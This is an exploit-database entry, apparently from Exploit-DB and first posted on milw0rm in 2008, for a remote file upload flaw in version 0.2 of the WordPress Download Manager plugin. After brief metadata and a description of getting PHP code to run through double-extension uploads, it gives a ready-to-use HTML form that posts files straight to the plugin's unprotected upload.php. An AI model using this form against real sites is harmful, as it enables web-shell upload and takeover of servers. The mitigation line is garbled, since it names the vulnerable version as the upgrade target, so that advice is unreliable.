WordPress Plugin Download Manager 0.2 Remote File Upload

vendor:

WordPress Plugin Download Manager

by:

SaO

7.5

CVSS

HIGH

Remote File Upload

434

CWE

Product Name: WordPress Plugin Download Manager

Affected Version From: 0.2

Affected Version To: 0.2

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress_plugin_download_manager:0.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

WordPress Plugin Download Manager 0.2 Remote File Upload

A vulnerability in WordPress Plugin Download Manager 0.2 allows remote attackers to upload arbitrary files via a direct request to upload.php. This can be exploited to execute arbitrary PHP code by uploading a file with a double extension such as .php.jpg, which can then be accessed via a direct request to the file in the upload directory.

Mitigation:

Upgrade to the latest version of WordPress Plugin Download Manager 0.2

Source

Exploit-DB raw data:

<a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2>
<h3>SaO</h3>
<h4>BiyoSecurityTeam || www.biyosecurity.com</h4>
<i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i>
    <hr color="#f0f8ff">
    <fieldset name="upl" class="options">

    <form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload">
       <table cellspacing="0" cellpadding="3">
         <tr> 
           <td>Local File</td>
         </tr>
         <tr>
           <td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td>
           <td><input type="submit" name="up" value="Send" class="button" /></td>
         </tr>
       </table>
    </form>
    </fieldset>

# milw0rm.com [2008-07-24]